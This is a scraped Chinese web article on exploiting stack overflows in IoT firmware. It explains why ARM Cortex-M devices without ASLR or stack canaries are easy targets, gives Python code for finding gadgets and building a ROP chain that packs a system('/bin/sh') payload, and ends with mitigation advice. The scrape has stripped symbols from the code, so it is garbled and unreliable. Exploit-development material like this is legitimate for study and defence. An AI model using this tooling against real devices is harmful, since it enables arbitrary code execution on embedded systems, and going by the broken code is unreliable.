尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
固件漏洞的栈利用:在受限内核里搭建 ROP 链
固件漏洞的栈利用在受限内核里搭建 ROP 链一、受限内核里栈溢出仍是主战场IoT 固件的漏洞利用和现代桌面/服务器环境相比有个根本差异很多缓解机制根本没开。ARM Cortex-M 系列 MCU 跑的实时内核往往没有 ASLR没有 NX没有 Stack Canary甚至连 NX bit 都不存在——片上 Flash 是 XIPExecute In Place的代码直接在 Flash 里跑数据与代码物理隔离靠的是 MPU 而非 MMU。这种环境下一个栈溢出往往就是一次任意代码执行。栈溢出在固件里依然高频原因挺简单。协议解析代码普遍手写长度校验靠人工少一个判断就越界嵌入式 C 库为了节省 RAM常用栈上数组做缓冲缓冲区一旦比输入小就溢出。加上无 Canary、无 ASLR攻击者只要控制返回地址就能跳到任意地址执行代码。ROPReturn-Oriented Programming是这种环境下的主流利用技术。它的核心思想是不注入新代码数据段可能不可执行而是复用固件里已有的代码片段gadget通过精心构造的返回地址链让这些 gadget 按攻击者的意图顺序执行。每个 gadget 通常以 ret 结尾下一个返回地址又被攻击者控制形成链条。ROP 在受限内核里反而更容易搭建。固件基址固定每次重启地址不变gadget 地址稳定可复用固件二进制闭源但可提取攻击者拿到固件文件就能离线找 gadget嵌入式工具链生成的代码往往规律性强pop/mov/add 这类短指令序列很多gadget 数量充足。说实话比在 x86 Linux 上做 ROP 轻松多了。固件栈利用的重点在溢出后能不能搭出可用的 ROP 链。本文聚焦这一步从 gadget 查找到链构造再到缓解开启后的利用限制。二、ROP 链的构造流程与受限环境的便利点把一次 ROP 利用拆开看从漏洞触发到任意代码执行是一条多阶段链条。无 Canary 让溢出本身无阻碍基址固定让 gadget 地址每次重启后保持一致无 ASLR 让链布局不需要信息泄露Flash XIP 让最终跳转到的代码段可执行。这四个便利点各对应一个利用阶段。任何一个缓解被开启对应阶段就要付出额外代价——这正是后文要讨论的缓解开启后的利用限制。链构造的核心是语义拼接。单个 gadget 只做一两件事pop 寄存器、加载立即数、调用函数指针要把它们串成调用 system(/bin/sh)这样的复杂动作需要按 calling convention 安排寄存器值、栈布局、参数顺序。这一步是 ROP 利用最考验工程能力的环节也是新手最容易卡住的地方。三、生产级 Gadget 查找与 ROP 链构造工具下面是一段 gadget 查找与 ROP 链构造实现。它从固件二进制里提取可用的 gadget按语义分类并提供链拼接接口import re import struct import subprocess from dataclasses import dataclass, field from typing import Iterable dataclass class Gadget: addr: int # gadget 在固件中的偏移地址 asm: str # 反汇编文本 category: str # pop_reg / call_reg / syscall / arithmetic bytes_seq: bytes field(defaultb) # gadget 签名规则按 ret 结尾的短指令序列分类 GADGET_PATTERNS { # pop 多个寄存器后 ret用于控制寄存器值 pop_r0_r1: rb\xbd\x00[\x00-\xff]{2}, # pop {r0, r1, pc}ARM Thumb 示意 pop_r0: rb\x70\x47, # movs r0, ...; bx lr # 系统调用触发 svc: rb\xdf\x00, # svc #0 # 加载立即数到寄存器 load_imm: rb\x4f[\x00-\xff], # mov r7, #imm8 } class GadgetFinder: 从固件二进制提取 gadget基于字节模式匹配再反汇编确认 def __init__(self, base_addr: int 0x08000000): # base_addr: 固件在芯片地址空间中的加载基址 self._base base_addr def extract(self, firmware_path: str) - list[Gadget]: with open(firmware_path, rb) as f: data f.read() gadgets [] for category, pattern in GADGET_PATTERNS.items(): for m in re.finditer(pattern, data): offset m.start() # 对齐ARM Thumb 指令 2 字节对齐 if offset % 2 ! 0: continue addr self._base offset # 取匹配位置后 8 字节做反汇编文本真实环境调 objdump/Capstone asm self._disasm(data[offset:offset 8], addr) gadgets.append(Gadget( addraddr, asmasm, categorycategory, bytes_seqdata[offset:offset 8] )) return gadgets def _disasm(self, chunk: bytes, addr: int) - str: # 真实环境用 capstone 或 arm-none-eabi-objdump这里用占位 try: r subprocess.run( [arm-none-eabi-objdump, -b, binary, -m, arm, -M, force-thumb, -D, -], inputchunk, capture_outputTrue, timeout2.0 ) return r.stdout.decode(utf-8, errorsignore)[:120] except Exception: return fraw:{chunk.hex()} class ROPChainBuilder: ROP 链构造按语义拼接 gadget生成可注入的字节序列 def __init__(self, gadgets: list[Gadget], ptr_size: int 4): self._gadgets gadgets # 嵌入式 32 位 ARM 指针宽度 4 字节 self._ptr_size ptr_size self._chain: list[int] [] def find(self, category: str) - Gadget | None: for g in self._gadgets: if g.category category: return g return None def pop_reg(self, reg_values: dict[str, int]) - ROPChainBuilder: # 用 pop gadget 把指定值塞进寄存器 g self.find(pop_r0_r1) or self.find(pop_r0) if g is None: raise RuntimeError(no pop gadget available) self._chain.append(g.addr) for v in reg_values.values(): # 每个寄存器值按指针宽度打包进链 self._chain.append(v) return self def call_func(self, func_addr: int) - ROPChainBuilder: # 把目标函数地址作为下一个返回地址 self._chain.append(func_addr) return self def build(self) - bytes: # 把地址序列打包成小端字节流可直接写入溢出缓冲区 out bytearray() for addr in self._chain: out.extend(struct.pack(I, addr 0xFFFFFFFF)) return bytes(out) def summary(self) - str: lines [fROP chain: {len(self._chain)} entries] for i, addr in enumerate(self._chain): lines.append(f [{i:02d}] 0x{addr:08x}) return \n.join(lines) # 演示从固件提取 gadget 并构造一条 ROP 链 def demo(): # 占位固件路径真实环境替换为目标固件 dump fw /tmp/firmware.bin if not __import__(os).path.exists(fw): # 没有真实固件时写一段示意字节构造伪固件 with open(fw, wb) as f: f.write(b\xbd\x00\x10\x00 b\x4f\xf0 b\xdf\x00 b\x00 * 16) finder GadgetFinder(base_addr0x08000000) gadgets finder.extract(fw) print(ffound {len(gadgets)} gadgets) for g in gadgets[:5]: print(f 0x{g.addr:08x} [{g.category}] {g.asm[:40]}) builder ROPChainBuilder(gadgets) try: # 构造pop r0/bin/sh 地址然后调用 system builder.pop_reg({r0: 0x0800C000}).call_func(0x0800A100) print(builder.summary()) payload builder.build() print(fpayload bytes: {len(payload)}) except RuntimeError as e: print(fchain build failed: {e}) if __name__ __main__: demo()gadget 查找基于字节模式匹配并做对齐校验避免命中非指令序列按 calling convention 安排 pop 与 call 顺序让寄存器值在调用前就位最终链打包成小端字节流可直接拼接在溢出返回地址之后。这段实现用 objdump 做反汇编真实环境可换成 Capstone 拿到更稳定的指令解析。整个流程是离线的攻击者拿到固件文件就能在本地完成 gadget 提取与链构造不用与目标设备交互。四、缓解开启后的利用限制与防御建议ROP 不是无解的。缓解机制每开启一项利用成本就上升一档。开 ASLR 后基址不再固定。每次重启固件加载基址随机化gadget 地址每次都变离线构造的链无法直接复用。攻击者必须先做信息泄露拿到当前基址再动态计算 gadget 地址。但嵌入式设备信息泄露并不难——很多固件会通过调试日志、错误返回、协议响应回吐内存地址。ASLR 必须配合信息泄露防护才能发挥作用单开 ASLR 而日志全开等于半开半闭。开 Stack Canary 后栈溢出本身被检测。Canary 在返回地址之前溢出覆盖到返回地址必然先覆盖 Canary函数返回时校验失败直接 abort。攻击者要绕过得先泄露 Canary 值再在溢出时原样写回。Canary 防护的强度取决于 Canary 的随机性与泄露面固件里若存在读越界漏洞Canary 仍可能被读出。开 XNExecute Never后数据段不可执行。ROP 本身就是为了绕过 XN所以 XN 对 ROP 的直接限制有限但 XN 能挡住更简单的注入 shellcode 直接执行路径迫使攻击者只能走 ROP从而提高门槛。在 ARM Cortex-M 上 XN 通过 MPU 配置开启后 RAM 区域不可执行Flash 仍可执行这是 XIP 架构的固有特征。防御上Stack Canary 优先级最高——成本最低收益最高能挡住大部分低水平栈溢出。其次开 ASLR 并配套信息泄露治理让 ROP 链无法离线复用。再部署 MPU 做严格内存隔离把关键代码与数据分区限制漏洞影响范围。还有个常被忽略的点固件签名校验与安全启动。即使攻击者拿到固件文件离线分析没有签名也无法刷入篡改版固件这条防线把漏洞利用限制在运行时挡住了持久化植入。五、总结在受限内核里搭 ROP 链比在现代桌面环境里容易太多。基址固定、无 ASLR、无 Canary、Flash XIP——四个便利条件让栈溢出几乎等于任意代码执行。攻击者拿到固件文件离线提取 gadget按 calling convention 拼成调用 system 的完整链条全程不用和目标设备交互。缓解机制不是没有关键看厂商愿不愿意开。Stack Canary 成本最低ASLR 配上信息泄露治理能挡离线复用MPU 做内存隔离限制影响范围。再加一道固件签名校验把攻击限制在运行时。ROP 不是不可防问题是很多 IoT 固件连最基本的 Canary 都没开——不是做不到是不想做。
RELATED

相关推荐

Linux内存管理架构与性能优化实践

Linux内存管理架构与性能优化实践

1. Linux内存管理架构全景Linux内核的内存管理系统堪称现代操作系统设计的典范之作,它像一位精明的仓库管理员,既要确保每个进程都能获得所需的内存空间,又要高效利用有限的物理资源。这套系统主要由以下几个核心组件构成:物理内存…

📅 2026/11/6 16:04:56
终极指南:5分钟掌握中兴光猫工厂模式解锁与远程调试

终极指南:5分钟掌握中兴光猫工厂模式解锁与远程调试

终极指南:5分钟掌握中兴光猫工厂模式解锁与远程调试 【免费下载链接】zteOnu A tool that can open ZTE onu device factory mode 项目地址: https://gitcode.com/gh_mirrors/zt/zteOnu 你是否曾经想要完全掌控家中的中兴光猫设备?zteOnu是一款专…

📅 2026/11/7 7:09:59
Listen1跨平台音乐聚合扩展:歌词显示功能的3大技术挑战与解决方案

Listen1跨平台音乐聚合扩展:歌词显示功能的3大技术挑战与解决方案

Listen1跨平台音乐聚合扩展:歌词显示功能的3大技术挑战与解决方案 【免费下载链接】listen1_chrome_extension one for all free music in china (chrome extension, also works for firefox) 项目地址: https://gitcode.com/gh_mirrors/li/listen1_chrome_extens…

📅 2026/10/29 0:59:12
MORE NEWS

更多资讯

📰

高压电工作业找答案千万别踩坑:从零基础到拿证的全过程

高压电工作业找答案千万别踩坑:从零基础到拿证的全过程 怕考不过白交培训费?高压电工作业找答案千万别踩坑,这是很多初次报考人员的共同心声。高压电工证不仅是进入电力行业的“敲门砖”,也是保障自身和他人安全的“护身符”。但面对复杂的考试流程、繁多…

📰

建筑电工证颁发机构怎么选?证书全国通用却没人告诉你这些坑

建筑电工证颁发机构怎么选?证书全国通用却没人告诉你这些坑 证书过期了不知道怎么复审延期,你是不是也经历过这样的焦虑?特别是在建筑施工一线,电工证不仅关系到能不能上岗,更直接决定你能不能拿到工钱。可偏偏有人因为一个小小的复审失误,丢了饭碗、甚…

📰

云浮考电工证去哪里考全国通用的电工证怎么考更划算

云浮考电工证去哪里考全国通用的电工证怎么考更划算 工地太忙根本没时间复习考试,很多人在考电工证时都遇到过这个问题。尤其是像你这样的漯河房建工程从业者,项目周期紧、任务重,根本抽不出时间去系统学习。但别忘了, 全国通用…

📰

太仓哪里可以学电工证 别踩坑了学历不高也能考

太仓哪里可以学电工证 别踩坑了学历不高也能考 你是不是学历不高,担心报不了电工证?别急,这事儿很多人都在问,但其实只要找对地方,学历根本不是问题。今天我来告诉你【太仓哪里可以学电工证】,别踩坑了,告诉你怎么操作,怎么复习,怎么顺利拿到证,别…

📰

电工证在安监局考吗 工地太忙根本没时间复习考试在哪考

电工证在安监局考吗 工地太忙根本没时间复习考试在哪考 工地太忙根本没时间复习考试,这几乎是所有特种作业人员的真实写照。特别是像电工这样的高需求岗位,证书不仅关系到能否上岗,也直接关系到薪资水平和职业发展。很多人问: 电工证在安监局考吗…

📰

电工作业用监护吗电子证书过期怎么处理

电工作业用监护吗电子证书过期怎么处理 证书过期了不知道怎么复审延期,你是不是也遇到过这种情况?尤其是在建筑工地上,电工作业证要是没及时处理,轻则停工,重则影响整个项目进度。而且现在电子证书已经全面推广,很多人对如何操作还一头雾水。下面我们就…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬